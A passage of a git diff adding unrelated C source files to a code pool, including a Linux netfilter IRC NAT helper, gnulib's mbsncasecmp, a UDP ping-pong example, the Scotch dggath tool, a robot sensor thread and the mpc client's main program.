RAIL_SYSPARAM_ORDER* sysparam = (RAIL_SYSPARAM_ORDER*)order; + rail_unicode_string_free(&sysparam->highContrast.colorScheme); + } + + if (event_type == RDP_EVENT_TYPE_RAIL_CHANNEL_EXEC_RESULTS) + { + RAIL_EXEC_RESULT_ORDER* exec_result = (RAIL_EXEC_RESULT_ORDER*)order; + rail_unicode_string_free(&exec_result->exeOrFile); + } + free(order); +} diff --git a/pool/shard011/C/0142275_nf_nat_irc.c b/pool/shard011/C/0142275_nf_nat_irc.c new file mode 100644 index 0000000000000000000000000000000000000000..24660d4ab4cd8e9ee710564c95c988be0ead8409 --- /dev/null +++ b/pool/shard011/C/0142275_nf_nat_irc.c @@ -0,0 +1,119 @@ +/* IRC extension for TCP NAT alteration. + * + * (C) 2000-2001 by Harald Welte + * (C) 2004 Rusty Russell IBM Corporation + * based on a copy of RR's ip_nat_ftp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +MODULE_AUTHOR("Harald Welte "); +MODULE_DESCRIPTION("IRC (DCC) NAT helper"); +MODULE_LICENSE("GPL"); +MODULE_ALIAS("ip_nat_irc"); + +static unsigned int help(struct sk_buff *skb, + enum ip_conntrack_info ctinfo, + unsigned int protoff, + unsigned int matchoff, + unsigned int matchlen, + struct nf_conntrack_expect *exp) +{ + char buffer[sizeof("4294967296 65635")]; + struct nf_conn *ct = exp->master; + union nf_inet_addr newaddr; + u_int16_t port; + unsigned int ret; + + /* Reply comes from server. */ + newaddr = ct->tuplehash[IP_CT_DIR_REPLY].tuple.dst.u3; + + exp->saved_proto.tcp.port = exp->tuple.dst.u.tcp.port; + exp->dir = IP_CT_DIR_REPLY; + exp->expectfn = nf_nat_follow_master; + + /* Try to get same port: if not, try to change it. */ + for (port = ntohs(exp->saved_proto.tcp.port); port != 0; port++) { + int ret; + + exp->tuple.dst.u.tcp.port = htons(port); + ret = nf_ct_expect_related(exp); + if (ret == 0) + break; + else if (ret != -EBUSY) { + port = 0; + break; + } + } + + if (port == 0) { + nf_ct_helper_log(skb, ct, "all ports in use"); + return NF_DROP; + } + + /* strlen("\1DCC CHAT chat AAAAAAAA P\1\n")=27 + * strlen("\1DCC SCHAT chat AAAAAAAA P\1\n")=28 + * strlen("\1DCC SEND F AAAAAAAA P S\1\n")=26 + * strlen("\1DCC MOVE F AAAAAAAA P S\1\n")=26 + * strlen("\1DCC TSEND F AAAAAAAA P S\1\n")=27 + * + * AAAAAAAAA: bound addr (1.0.0.0==16777216, min 8 digits, + * 255.255.255.255==4294967296, 10 digits) + * P: bound port (min 1 d, max 5d (65635)) + * F: filename (min 1 d ) + * S: size (min 1 d ) + * 0x01, \n: terminators + */ + /* AAA = "us", ie. where server normally talks to. */ + snprintf(buffer, sizeof(buffer), "%u %u", ntohl(newaddr.ip), port); + pr_debug("nf_nat_irc: inserting '%s' == %pI4, port %u\n", + buffer, &newaddr.ip, port); + + ret = nf_nat_mangle_tcp_packet(skb, ct, ctinfo, protoff, matchoff, + matchlen, buffer, strlen(buffer)); + if (ret != NF_ACCEPT) { + nf_ct_helper_log(skb, ct, "cannot mangle packet"); + nf_ct_unexpect_related(exp); + } + + return ret; +} + +static void __exit nf_nat_irc_fini(void) +{ + RCU_INIT_POINTER(nf_nat_irc_hook, NULL); + synchronize_rcu(); +} + +static int __init nf_nat_irc_init(void) +{ + BUG_ON(nf_nat_irc_hook != NULL); + RCU_INIT_POINTER(nf_nat_irc_hook, help); + return 0; +} + +/* Prior to 2.6.11, we had a ports param. No longer, but don't break users. */ +static int warn_set(const char *val, struct kernel_param *kp) +{ + printk(KERN_INFO KBUILD_MODNAME + ": kernel >= 2.6.10 only uses 'ports' for conntrack modules\n"); + return 0; +} +module_param_call(ports, warn_set, NULL, NULL, 0); + +module_init(nf_nat_irc_init); +module_exit(nf_nat_irc_fini); diff --git a/pool/shard011/C/0142276_test27.c b/pool/shard011/C/0142276_test27.c new file mode 100644 index 0000000000000000000000000000000000000000..96e1fd193ce56e9b3490b6ab2931fbeea4cbe4a7 --- /dev/null +++ b/pool/shard011/C/0142276_test27.c @@ -0,0 +1,39 @@ +/* enforcing alignment restrictions */ + +extern void print_int(int x); +extern void print_string(char x[]); + +int a; +char b; +int c; +char d; +int e; + +void foo(void) +{ + print_int(a); + print_string("\n"); + + print_int(b); + print_string("\n"); + + print_int(c); + print_string("\n"); + + print_int(d); + print_string("\n"); + + print_int(e); + print_string("\n"); +} + +void main(void) +{ + a = 10; + b = 11; + c = 12; + d = 13; + e = 14; + + foo(); +} diff --git a/pool/shard011/C/0142277_mbsncasecmp.c b/pool/shard011/C/0142277_mbsncasecmp.c new file mode 100644 index 0000000000000000000000000000000000000000..bf19e54233069f1864065d4f681bd1412074284c --- /dev/null +++ b/pool/shard011/C/0142277_mbsncasecmp.c @@ -0,0 +1,99 @@ +/* Case-insensitive string comparison function. + Copyright (C) 1998-1999, 2005-2013 Free Software Foundation, Inc. + Written by Bruno Haible , 2005, + based on earlier glibc code. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#include + +/* Specification. */ +#include + +#include +#include + +#include "mbuiter.h" + +#define TOLOWER(Ch) (isupper (Ch) ? tolower (Ch) : (Ch)) + +/* Compare the initial segment of the character string S1 consisting of at most + N characters with the initial segment of the character string S2 consisting + of at most N characters, ignoring case, returning less than, equal to or + greater than zero if the initial segment of S1 is lexicographically less + than, equal to or greater than the initial segment of S2. + Note: This function may, in multibyte locales, return 0 for initial segments + of different lengths! */ +int +mbsncasecmp (const char *s1, const char *s2, size_t n) +{ + if (s1 == s2 || n == 0) + return 0; + + /* Be careful not to look at the entire extent of s1 or s2 until needed. + This is useful because when two strings differ, the difference is + most often already in the very few first characters. */ + if (MB_CUR_MAX > 1) + { + mbui_iterator_t iter1; + mbui_iterator_t iter2; + + mbui_init (iter1, s1); + mbui_init (iter2, s2); + + while (mbui_avail (iter1) && mbui_avail (iter2)) + { + int cmp = mb_casecmp (mbui_cur (iter1), mbui_cur (iter2)); + + if (cmp != 0) + return cmp; + + if (--n == 0) + return 0; + + mbui_advance (iter1); + mbui_advance (iter2); + } + if (mbui_avail (iter1)) + /* s2 terminated before s1 and n. */ + return 1; + if (mbui_avail (iter2)) + /* s1 terminated before s2 and n. */ + return -1; + return 0; + } + else + { + const unsigned char *p1 = (const unsigned char *) s1; + const unsigned char *p2 = (const unsigned char *) s2; + unsigned char c1, c2; + + for (; ; p1++, p2++) + { + c1 = TOLOWER (*p1); + c2 = TOLOWER (*p2); + + if (--n == 0 || c1 == '\0' || c1 != c2) + break; + } + + if (UCHAR_MAX <= INT_MAX) + return c1 - c2; + else + /* On machines where 'char' and 'int' are types of the same size, the + difference of two 'unsigned char' values - including the sign bit - + doesn't fit in an 'int'. */ + return (c1 > c2 ? 1 : c1 < c2 ? -1 : 0); + } +} diff --git a/pool/shard011/C/0142278_main.c b/pool/shard011/C/0142278_main.c new file mode 100644 index 0000000000000000000000000000000000000000..97f60c1efcc435a263dc2aef1eefd3e653b9ea38 --- /dev/null +++ b/pool/shard011/C/0142278_main.c @@ -0,0 +1,292 @@ +/** + * written by smlng + */ +// standard + #include + #include + #include + #include +// network + #include + #include + #include + #include + #include +// check for riot +#ifdef RIOT_VERSION + +#ifndef __RIOT__ +#define __RIOT__ +#endif // __RIOT__ + +#include "board.h" +#include "periph/gpio.h" +#include "shell.h" +#include "thread.h" +#include "getaddrinfo.h" +#else //RIOT_VERSION +#include +#include +#endif // RIOT_VERSION + +// parameters +#define PP_BUF_SIZE (16) +#define PP_MSG_QUEUE_SIZE (8U) +#define PP_PORT_STR "6414" +#define PP_IFID_STR "4" + +// function prototypes +static int ping(int argc, char **argv); +static int pong(char *addr_str); +//static int pp_send(char *addr_str, char *data); +static int pp_send(char *addr_str, char *data); +static void start_receiver(void); +static void *_receiver(void *arg); + +#ifdef __RIOT__ +extern int getaddrinfo(const char *node, const char *service, + const struct addrinfo *hints, + struct addrinfo **res); + +extern void freeaddrinfo(struct addrinfo *res); + +extern const char *gai_strerror(int errcode); +// array with available shell commands +static const shell_command_t shell_commands[] = { + { "ping", "send multicast ping", ping }, + { NULL, NULL, NULL } +}; +static msg_t pp_msg_queue[PP_MSG_QUEUE_SIZE]; +static char pp_stack[THREAD_STACKSIZE_DEFAULT]; +#else +static pthread_t t_receiver; +#define IPV6_ADDR_MAX_STR_LEN INET6_ADDRSTRLEN +#endif // __RIOT__ + +static char pp_buffer[PP_BUF_SIZE]; + +/** + * @brief the main programm loop + * + * @return non zero on error + */ +int main(void) +{ + // some initial infos + puts("SmartUniversity - PingPong Example!"); + puts("================"); +#ifdef __RIOT__ + printf("You are running RIOT on a(n) %s board.\n", RIOT_BOARD); + printf("This board features a(n) %s MCU.\n", RIOT_MCU); +#else // __RIOT__ + printf("You are running Linux, MacOS, or FreeBSD?\n"); +#endif // __RIOT__ + puts("================"); + + // start udp receiver + start_receiver(); +#ifdef __RIOT__ + // start shell + puts("All up, running the shell now"); + char line_buf[SHELL_DEFAULT_BUFSIZE]; + shell_run(shell_commands, line_buf, SHELL_DEFAULT_BUFSIZE); +#else // __RIOT__ + /* a mini shell to send pings */ + char cmd_buf[128]; + char cmd_ping[] = "ping"; + while(1) { + puts("USAGE: ping [IP[%IF]]:"); + memset(cmd_buf, 0, 128); + int cnt = 0; + int lws = 0; + int pos = 0; + char *argv[2]; + int argc = 1; + argv[0] = cmd_buf; + argv[1] = NULL; + while (cnt < 128) { + int c = getchar(); + if (c=='\n' || c=='\r') { + break; + } + if (c==' ') { + if (cnt > lws+1) { + cmd_buf[cnt] = 0; + lws = cnt; + pos = cnt+1; + ++argc; + } + } else { + cmd_buf[cnt] = (char)c; + } + ++cnt; + } + if (strlen(cmd_buf) < 4 || strcmp(cmd_ping, cmd_buf) != 0 || argc > 2) + continue; + if (argc > 1) { + argv[1] = cmd_buf + pos; + } + ping(argc, argv); + } +#endif // __RIOT__ + // should be never reached + return 0; +} + +/** + * @brief send a (multicast) ping + * + * @param[in] argc unused + * @param[in] argv unused + * + * @return 0 on success, or 1 if failed + */ +static int ping(int argc, char **argv) +{ + int ret = -1; + if (argc==2) { + printf(". send user PING to [%s]\n", argv[1]); + ret = pp_send(argv[1], "PING"); + } + else { + puts(". send multicast PING to [ff02::1]"); + ret = pp_send("ff02::1", "PING"); + } + return ret; +} + +/** + * @brief send a (unicast) pong + * + * @param[in] addr_str unicast destination address + * + * @return 0 on success, or 1 if failed + */ +static int pong(char *addr_str) +{ + printf(". send PONG to [%s].\n", addr_str); + int ret = pp_send(addr_str, "PONG"); + return ret; +} + +/* + * @brief generic udp send method + * + * @param[in] addr_str destination address + * @param[in] data payload to send + * + * @return transfered bytes, or < 0 if failed + */ +static int pp_send(char *addr_str, char *data) +{ + int s; + struct addrinfo hints, *res; + int ret; + + memset(&hints, 0, sizeof hints); + hints.ai_family = AF_INET6; + hints.ai_socktype = SOCK_DGRAM; + + if ((ret = getaddrinfo(addr_str, "6414", &hints, &res)) != 0) { + puts("ERROR pp_send: getaddrinfo"); + return (-1); + } + + // loop through all the results and make a socket + if ((s=socket(res->ai_family,res->ai_socktype,res->ai_protocol)) < 0) { + puts("ERROR pp_send: create socket"); + return (-1); + } + + if ((ret=sendto(s,data,strlen(data),0,res->ai_addr,res->ai_addrlen)) < 0) { + printf("ERROR pp_send: sending data: %d\n", ret); + } + freeaddrinfo(res); + close(s); + + return ret; +} + +/** + * @brief start udp receiver thread + */ +static void start_receiver(void) +{ +#ifdef __RIOT__ + thread_create(pp_stack, sizeof(pp_stack), THREAD_PRIORITY_MAIN, + THREAD_CREATE_STACKTEST, _receiver, NULL, "pingpong"); +#else // __RIOT__ + pthread_create(&t_receiver, NULL, _receiver, NULL); +#endif // __RIOT__ +} + +/** + * @brief udp receiver thread function + * + * @param[in] arg unused + */ +static void *_receiver(void *arg) +{ + (void) arg; + + struct sockaddr_in6 server_addr; + char src_addr_str[IPV6_ADDR_MAX_STR_LEN+4]; + uint16_t port; +#ifdef __RIOT__ + msg_init_queue(pp_msg_queue, PP_MSG_QUEUE_SIZE); +#endif // __RIOT__ + /* parse port */ + port = (uint16_t)atoi(PP_PORT_STR); + if (port == 0) { + puts("ERROR receiver: invalid port"); + return NULL; + } + memset(&server_addr, 0, sizeof(server_addr)); + server_addr.sin6_family = AF_INET6; + memset(&server_addr.sin6_addr, 0, sizeof(server_addr.sin6_addr)); + server_addr.sin6_port = htons(port); + + int s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + if (s < 0) { + puts("ERROR receiver: create socket"); + return NULL; + } + if (bind(s,(struct sockaddr *)&server_addr,sizeof(server_addr)) < 0) { + puts("ERROR receiver: bind socket"); + close(s); + return NULL; + } + printf(". started UDP server on port %" PRIu16 "\n", port); + while (1) { + int res; + struct sockaddr_in6 src; + memset(&src, 0, sizeof(src)); + memset(pp_buffer, 0, sizeof(pp_buffer)); + socklen_t src_len = sizeof(src); + // blocking receive, waiting for data + if ((res = recvfrom(s, pp_buffer, sizeof(pp_buffer), 0, + (struct sockaddr *)&src, &src_len)) < 0) { + puts("ERROR receiver: recvfrom"); + } + else if (res == 0) { + puts("WARN receiver: Peer did shut down"); + } + else { // check for PING or PONG + inet_ntop(AF_INET6, &(src.sin6_addr), + src_addr_str, sizeof(src_addr_str)); + sprintf(src_addr_str, "%s%%"PP_IFID_STR, src_addr_str); + if (strcmp(pp_buffer, "PING") == 0) { + printf(". received PING from [%s].\n", src_addr_str); + pong(src_addr_str); + } + else if (strcmp(pp_buffer, "PONG") == 0) { + printf(". received PONG from [%s].\n", src_addr_str); + } + else { + printf(". received data from [%s] with %d bytes.\n", src_addr_str, res); + } + } + } + close(s); + return NULL; +} diff --git a/pool/shard011/C/0142279_dggath.c b/pool/shard011/C/0142279_dggath.c new file mode 100644 index 0000000000000000000000000000000000000000..fa377c212629480a239f4d048b0ec033ed11d612 --- /dev/null +++ b/pool/shard011/C/0142279_dggath.c @@ -0,0 +1,228 @@ +/* Copyright 2008,2010 ENSEIRB, INRIA & CNRS +** +** This file is part of the Scotch software package for static mapping, +** graph partitioning and sparse matrix ordering. +** +** This software is governed by the CeCILL-C license under French law +** and abiding by the rules of distribution of free software. You can +** use, modify and/or redistribute the software under the terms of the +** CeCILL-C license as circulated by CEA, CNRS and INRIA at the following +** URL: "http://www.cecill.info". +** +** As a counterpart to the access to the source code and rights to copy, +** modify and redistribute granted by the license, users are provided +** only with a limited warranty and the software's author, the holder of +** the economic rights, and the successive licensors have only limited +** liability. +** +** In this respect, the user's attention is drawn to the risks associated +** with loading, using, modifying and/or developing or reproducing the +** software by the user in light of its specific status of free software, +** that may mean that it is complicated to manipulate, and that also +** therefore means that it is reserved for developers and experienced +** professionals having in-depth computer knowledge. Users are therefore +** encouraged to load and test the software's suitability as regards +** their requirements in conditions enabling the security of their +** systems and/or data to be ensured and, more generally, to use and +** operate it in the same conditions as regards security. +** +** The fact that you are presently reading this means that you have had +** knowledge of the CeCILL-C license and that you accept its terms. +*/ +/************************************************************/ +/** **/ +/** NAME : dggath.c **/ +/** **/ +/** AUTHOR : Francois PELLEGRINI **/ +/** **/ +/** FUNCTION : This program gathers the fragments of a **/ +/** distributed graph and saves it as a **/ +/** centralized source graph. **/ +/** This module contains the main function. **/ +/** **/ +/** DATES : # Version 5.1 : from : 26 oct 2008 **/ +/** to : 26 oct 2008 **/ +/** **/ +/************************************************************/ + +/* +** The defines and includes. +*/ + +#define DGGATH +#define SCOTCH_PTSCOTCH + +#include "module.h" +#include "common.h" +#include "ptscotch.h" +#include "dggath.h" + +/* +** The static and global definitions. +*/ + +static int C_fileNum = 0; /* Number of file in arg list */ +static File C_fileTab[C_FILENBR] = { /* File array */ + { "-", NULL, "r" }, + { "-", NULL, "w" } }; + +static const char * C_usageList[] = { + "dggath [ []] ", + " -c : Check the input graph after loading", + " -h : Display this help", + " -r : Set root process for centralized files (default is 0)", + " -V : Print program version and copyright", + NULL }; + +/*********************/ +/* */ +/* The main routine. */ +/* */ +/*********************/ + +int +main ( +int argc, +char * argv[]) +{ + SCOTCH_Graph * cgrfptr; + SCOTCH_Graph cgrfdat; + SCOTCH_Dgraph dgrfdat; + int procglbnbr; + int proclocnum; + int protglbnum; /* Root process */ + int flagval; + int i; + int reduloctab[2]; + int reduglbtab[2]; +#ifdef SCOTCH_PTHREAD + int thrdlvlreqval; + int thrdlvlproval; +#endif /* SCOTCH_PTHREAD */ + + errorProg ("dggath"); + +#ifdef SCOTCH_PTHREAD + thrdlvlreqval = MPI_THREAD_MULTIPLE; + if (MPI_Init_thread (&argc, &argv, thrdlvlreqval, &thrdlvlproval) != MPI_SUCCESS) + errorPrint ("main: Cannot initialize (1)"); + if (thrdlvlreqval > thrdlvlproval) + errorPrint ("main: MPI implementation is not thread-safe: recompile without SCOTCH_PTHREAD"); +#else /* SCOTCH_PTHREAD */ + if (MPI_Init (&argc, &argv) != MPI_SUCCESS) + errorPrint ("main: Cannot initialize (2)"); +#endif /* SCOTCH_PTHREAD */ + + MPI_Comm_size (MPI_COMM_WORLD, &procglbnbr); /* Get communicator data */ + MPI_Comm_rank (MPI_COMM_WORLD, &proclocnum); + protglbnum = 0; /* Assume root process is process 0 */ + + if ((argc >= 2) && (argv[1][0] == '?')) { /* If need for help */ + usagePrint (stdout, C_usageList); + return (0); + } + + flagval = C_FLAGNONE; + + for (i = 0; i < C_FILENBR; i ++) /* Set default stream pointers */ + C_fileTab[i].pntr = (C_fileTab[i].mode[0] == 'r') ? stdin : stdout; + + for (i = 1; i < argc; i ++) { /* Loop for all option codes */ + if ((argv[i][0] != '-') || (argv[i][1] == '\0') || (argv[i][1] == '.')) { /* If found a file name */ + if (C_fileNum < C_FILEARGNBR) /* File name has been given */ + C_fileTab[C_fileNum ++].name = argv[i]; + else + errorPrint ("main: too many file names given"); + } + else { /* If found an option name */ + switch (argv[i][1]) { + case 'C' : + case 'c' : + flagval |= C_FLAGCHECK; + break; +#ifdef SCOTCH_DEBUG_ALL + case 'D' : + case 'd' : + flagval |= C_FLAGDEBUG; + break; +#endif /* SCOTCH_DEBUG_ALL */ + case 'H' : /* Give the usage message */ + case 'h' : + usagePrint (stdout, C_usageList); + return (0); + case 'R' : /* Root process (if necessary) */ + case 'r' : + protglbnum = atoi (&argv[i][2]); + if ((protglbnum < 0) || + (protglbnum >= procglbnbr) || + ((protglbnum == 0) && (argv[i][2] != '0'))) { + errorPrint ("main: invalid root process number"); + } + break; + case 'V' : + case 'v' : + fprintf (stderr, "dggath, version " SCOTCH_VERSION_STRING "\n"); + fprintf (stderr, "Copyright 2008,2010 ENSEIRB, INRIA & CNRS, France\n"); + fprintf (stderr, "This software is libre/free software under CeCILL-C -- see the user's manual for more information\n"); + return (0); + default : + errorPrint ("main: unprocessed option (\"%s\")", argv[i]); + } + } + } + +#ifdef SCOTCH_DEBUG_ALL + if ((flagval & C_FLAGDEBUG) != 0) { + fprintf (stderr, "Proc %4d of %d, pid %d\n", proclocnum, procglbnbr, getpid ()); + if (proclocnum == protglbnum) { /* Synchronize on keybord input */ + char c; + + printf ("Waiting for key press...\n"); + scanf ("%c", &c); + } + MPI_Barrier (MPI_COMM_WORLD); + } +#endif /* SCOTCH_DEBUG_ALL */ + + fileBlockOpenDist (C_fileTab, C_FILENBR, procglbnbr, proclocnum, protglbnum); /* Open all files */ + + if (C_filepntrsrcout == NULL) { + cgrfptr = NULL; + reduloctab[0] = + reduloctab[1] = 0; + } + else { + cgrfptr = &cgrfdat; + reduloctab[0] = 1; + reduloctab[1] = proclocnum; + } + if (MPI_Allreduce (reduloctab, reduglbtab, 2, MPI_INT, MPI_SUM, MPI_COMM_WORLD) != MPI_SUCCESS) + errorPrint ("main: communication error"); + + if (reduglbtab[0] != 1) + errorPrint ("main: should have only one root"); + if (reduglbtab[1] != protglbnum) + errorPrint ("main: root process mismatch"); + + SCOTCH_dgraphInit (&dgrfdat, MPI_COMM_WORLD); + SCOTCH_dgraphLoad (&dgrfdat, C_filepntrsrcinp, -1, 0); + + if ((flagval & C_FLAGCHECK) != 0) + SCOTCH_dgraphCheck (&dgrfdat); + + SCOTCH_graphInit (&cgrfdat); + SCOTCH_dgraphGather (&dgrfdat, cgrfptr); + if (cgrfptr != NULL) + SCOTCH_graphSave (cgrfptr, C_filepntrsrcout); + + fileBlockClose (C_fileTab, C_FILENBR); /* Always close explicitely to end eventual (un)compression tasks */ + + SCOTCH_graphExit (&cgrfdat); + SCOTCH_dgraphExit (&dgrfdat); + + MPI_Finalize (); +#ifdef COMMON_PTHREAD + pthread_exit ((void *) 0); /* Allow potential (un)compression tasks to complete */ +#endif /* COMMON_PTHREAD */ + return (0); +} diff --git a/pool/shard011/C/0142280_color_sensor.c b/pool/shard011/C/0142280_color_sensor.c new file mode 100644 index 0000000000000000000000000000000000000000..20d1828a16399b14e002566900405f732767d31f --- /dev/null +++ b/pool/shard011/C/0142280_color_sensor.c @@ -0,0 +1,44 @@ +// +// color_sensor.c +// robot +// +// Created by Simone Rossi on 07/12/16. +// Copyright © 2016 Simone Rossi. All rights reserved. +// + +#include "color_sensor.h" + +int read_reflection(color_sensor* color) +{ + int tmp; + get_sensor_value(0, color->address, &tmp); + return tmp; +} + +void read_color_status(color_sensor* color){ + int tmp = read_reflection(color); + color->reflection = tmp; +} + +void* __color_status_reader(void* color) +{ + + while (1) { + pthread_mutex_lock(&color_mutex); + read_color_status((color_sensor*)color); + + //int tmp; + //get_sensor_value(0, ((color_sensor*)color)->address, &tmp); + //((color_sensor*)color)->reflection = tmp; + + //printf("From thread... Reflect: %d\n", tmp); + + //if (((color_sensor*)color)->reflection > 1) + //{ + //printf("BAALLLLL\n"); + //pthread_cond_signal(&cv_ball_detected); + //} + pthread_mutex_unlock(&color_mutex); + msleep(50); + } +} \ No newline at end of file diff --git a/pool/shard011/C/0142281_main.c b/pool/shard011/C/0142281_main.c new file mode 100644 index 0000000000000000000000000000000000000000..6cf3c3ed1c1d7a35bc205e97cf0bdc475c0bfa95 --- /dev/null +++ b/pool/shard011/C/0142281_main.c @@ -0,0 +1,243 @@ +/* mpc + * (c) 2003-2004 by Warren Dukes (shank@mercury.chem.pitt.edu) + * Daniel Brown (danb@cs.utexas.edu) + * This project's homepage is: http://www.musicpd.org + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include "libmpdclient.h" +#include "list.h" +#include "charConv.h" +#include "password.h" +#include "util.h" +#include "status.h" +#include "command.h" +#include "mpc.h" +#include "options.h" + +#include +#include +#include +#include +#include +#include + +struct _mpc_table { + const char * command; + const int min, max; /* min/max arguments allowed, -1 = unlimited */ + int pipe; /* + 1: implicit pipe read, `-' optional as argv[2] + 2: explicit pipe read `-' needed as argv[2] + 3: explicit pipe read `-' needed as argv[3] + multipled by -1 if used, so that it can signal a free() + before the program exits + */ + cmdhandler handler; + const char * usage; + char * help; /* NULL means they won't be shown in help */ +} mpc_table [] = { + {"add", 0, -1, 1, cmd_add,"","Add a song to the current playlist" }, + {"del", 0, -1, 1, cmd_del,"","Remove a song from the current playlist" }, + {"play", 0, -1, 2, cmd_play,"","Start playing at (default: 1)" }, + {"next", 0, 0, 0, cmd_next, "","Play the next song in the current playlist"}, + {"prev", 0, 0, 0, cmd_prev,"","Play the previous song in the current playlist"}, + {"pause", 0, 0, 0, cmd_pause, "", "Pauses the currently playing song"}, + {"stop", 0, 0, 0, cmd_stop,"", "Stop the currently playing playlists"}, + {"kill", 0, 0, 0, cmd_kill,"", "Exit from MPD"}, + {"seek", 1, 1, 0, cmd_seek,"<0-100>","Seeks to the position specified in percent"}, + {"clear", 0, 0, 0, cmd_clear,"", "Clear the current playlist"}, + {"shuffle", 0, 0, 0, cmd_shuffle,"", "Shuffle the current playlist"}, + {"move", 2, 2, 0, cmd_move," ", "Move song in playlist"}, + {"playlist", 0, 0, 0, cmd_playlist, "", "Print the current playlist"}, + {"listall", 0, -1, 2, cmd_listall,"[]","List all songs in the music dir"}, + {"ls", 0, -1, 2, cmd_ls,"[]","List the contents of "}, + {"lsplaylists", 0, -1, 2, cmd_lsplaylists,"", "Lists currently available playlists"}, + {"load", 0, -1, 1, cmd_load,"","Load as a playlist"}, + {"save", 1, 1, 0, cmd_save,"", "Saves a playlist as "}, + {"rm", 1, 1, 0, cmd_rm,"","Removes a playlist"}, + {"volume", 0, 1, 0, cmd_volume,"[+-]","Sets volume to or adjusts by [+-]"}, + {"repeat", 0, 1, 0, cmd_repeat,"", "Toggle repeat mode, or specify state"}, + {"random", 0, 1, 0, cmd_random,"", "Toggle random mode, or specify state"}, + {"search", 2, -1, 3, cmd_search, " ", "Search for a song"}, + {"crossfade", 0, 1, 0, cmd_crossfade,"[sec]","Set and display crossfade settings"}, + {"update", 0, -1, 2, cmd_update, "", "Scans music directory for updates"}, + {"version", 0, 0, 0, cmd_version,"", "Reports version of MPD"}, + /* loadtab, lstab, and tab used for completion-scripting only */ + {"loadtab",0, 1, 0, cmd_loadtab,"",}, + {"lstab",0, 1, 0, cmd_lstab,"",}, + {"tab",0, 1, 0, cmd_tab,"",}, + /* status was added for pedantic reasons */ + {"status", 0, -1, 0, cmd_status, "", NULL }, + {} +}; + +void print_help (int max, char * progname, char * command) +{ + int i; + + if(command && strcmp(command,"help")) + fprintf(stderr,"unknown command \"%s\"\n",command); + fprintf(stderr,"Usage: %s [command args]...\n" + "mpc version: "VERSION"\n",progname); + fprintf(stderr, "%s %*s Displays status\n",progname,max," "); + + for (i=0; mpc_table[i].command; ++i) { + int spaces; + + if (!mpc_table[i].help) + continue ; + spaces = max-(strlen(mpc_table[i].command)+strlen(mpc_table[i].usage)); + spaces += !spaces ? 0 : 1; + + fprintf(stderr,"%s %s %s%*s%s\n",progname, + mpc_table[i].command,mpc_table[i].usage, + spaces," ",mpc_table[i].help); + + } + fprintf(stderr,"For more information about these and other options look at man 1 mpc\n"); +} + +mpd_Connection * setup_connection () +{ + char * host = DEFAULT_HOST; + char * port = DEFAULT_PORT; + int iport; + char * test; + int port_env = 0; + int host_env = 0; + int password_len= 0; + int parsed_len = 0; + mpd_Connection * conn; + + if((test = getenv("MPD_HOST"))) { + host =test; + host_env = 1; + } + + if((test = getenv("MPD_PORT"))) { + port = test; + port_env = 1; + } + +port = "6600"; //port value directly assigned +port_env = 1; +host = getMyIP(); +host_env=1; + + iport = strtol(port,&test,10); + + if(iport<0 || *test!='\0') { + fprintf(stderr,"MPD_PORT \"%s\" is not a positive integer\n", + port); + exit(EXIT_FAILURE); + } + + parse_password(host, &password_len, &parsed_len); + + conn = mpd_newConnection(host+parsed_len,iport,10); + + if(conn->error && (!port_env || !host_env)) + fprintf(stderr,"MPD_HOST and/or MPD_PORT environment variables" + " are not set\n"); + + printErrorAndExit(conn); + + if(password_len) + send_password (host, password_len, conn); + + return conn; +} + +void print_status_and_exit () +{ + mpd_Connection * conn = setup_connection(); + print_status(conn); + mpd_closeConnection(conn); + fclose(stdout); + exit(EXIT_SUCCESS); +} + +/* check arguments to see if they are valid */ +char ** check_args (int idx, int * argc, char ** argv) +{ + char ** array; + int i; + + if ( ( mpc_table[idx].pipe==1 && + (2==*argc || (3==*argc && 0==strcmp(argv[2],STDIN_SYMBOL) ))) + || (mpc_table[idx].pipe==2 && (3==*argc && 0==strcmp(argv[2],STDIN_SYMBOL))) + || (mpc_table[idx].pipe==3 && (4==*argc && 0==strcmp(argv[3],STDIN_SYMBOL))) + ){ + *argc = stdinToArgArray(&array); + mpc_table[idx].pipe *= -1; + } else { + *argc -= 2; + array = malloc( (*argc * (sizeof(char *)))); + for(i=0;i<*argc;++i) { + array[i]=argv[i+2]; + } + } + if ( (-1!=mpc_table[idx].min && (*argc)mpc_table[idx].max) ) { + fprintf(stderr,"usage: %s %s %s\n", argv[0], mpc_table[idx].command, + mpc_table[idx].usage); + exit (EXIT_FAILURE); + } + return array; +} + +int main(int argc, char ** argv) +{ + int i = 0; + int helplen = 0; + int ret = 0; + setLocaleCharset(); + + if(parse_options(&argc, argv) < 0) { + print_help(helplen,argv[0],NULL); + exit(EXIT_FAILURE); + } + + if (argc==1) + print_status_and_exit (); + + for (i = 0; mpc_table[i].command; ++i) { + if ( ! strcmp(argv[1], mpc_table[i].command) ) { + char ** array = check_args (i, &argc , argv); + mpd_Connection * conn = setup_connection(); + + /* not a typo, assignment intended */ + if( (ret=mpc_table[i].handler(argc, array, conn))) + print_status(conn); + + if (0>mpc_table[i].pipe) + free_pipe_array(argc,array); + + + // printf("closing conn...\n"); + mpd_closeConnection(conn); + // printf("closed conn\n"); + fclose(stdout); + return EXIT_SUCCESS; + } else if (mpc_table[i].help) { + int tmp = strlen(mpc_table[i].command) + strlen(mpc_table[i].usage); + helplen = (tmp > helplen) ? tmp : helplen; + } + } + print_help(helplen,argv[0],argv[1]); + fclose(stdout); + return EXIT_SUCCESS; +} + diff 